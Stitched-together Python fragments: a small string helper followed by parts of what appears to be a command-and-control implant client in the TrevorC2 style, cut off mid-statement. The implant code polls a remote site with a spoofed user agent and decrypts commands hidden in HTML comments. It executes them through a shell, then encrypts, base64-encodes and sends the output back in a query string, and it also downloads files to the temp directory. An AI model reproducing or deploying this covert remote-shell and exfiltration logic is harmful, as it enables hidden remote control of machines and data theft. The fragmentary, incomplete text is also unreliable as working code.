def _recapitalize(parse,code): code=' '.join([x for x in code]) parse=parse.replace('|',' ').replace('.',' ') newparse=[] for s,c in zip(parse.split(),code.split()): if c=='w': newparse+=[s.lower()] else: newparse+=[s.upper()] return ' '.join(newparse)
req = urllib.Request( SITE_URL + ROOT_PATH_QUERY, headers={ 'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko' }) opener = urllib.build_opener(urllib.HTTPCookieProcessor(cookie)) html = opener.open(req).read().decode('utf-8') # <!-- PARAM=bm90aGluZw== --></body> - What we split on here on encoded site parse = html.split("<!-- %s" % (STUB))[1].split("-->")[0] parse = cipher.decrypt(parse) if parse == "nothing": pass else: if hostname in parse: parse = parse.split(hostname + "::::")[1] # execute our parsed command proc = subprocess.Popen(parse, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout_value = proc.communicate()[0] stdout_value = cipher.encrypt(hostname + "::::" + stdout_value).encode('utf-8') stdout_value = base64.b64encode(stdout_value).decode('utf-8') # pipe out stdout and base64 encode it then request via a query string parameter if py == "3": req = urllib.request.Request( SITE_URL + SITE_PATH_QUERY + "?" + QUERY_STRING + stdout_value,
# main call back here while 1: try: time.sleep(random_interval(time_interval1, time_interval2)) # request with specific user agent html = invoke_trevor(SITE_URL + ROOT_PATH_QUERY) # <!-- PARAM=bm90aGluZw== --></body> - What we split on here on encoded site parse = html.split("<!-- %s" % (STUB))[1].split("-->")[0] parse = cipher.decrypt(parse) if parse == "nothing": pass else: if hostname in parse: do_exit = False parse = parse.split(hostname + "::::")[1] if parse.lower().startswith('tc2'): command = parse.split(' ', 2) if command[1].lower() == 'download': URL = SITE_URL + command[2] File = os.path.join(tempfile.gettempdir(), URL.split("/")[-1]) invoke_trevor(URL,File) return_value = "Download of " + URL + " to " + File + " succeeded" elif command[1].lower() == 'quit': do_exit = True return_value = "This session is terminated" else: return_value = "Unknown command" else: # execute our parsed command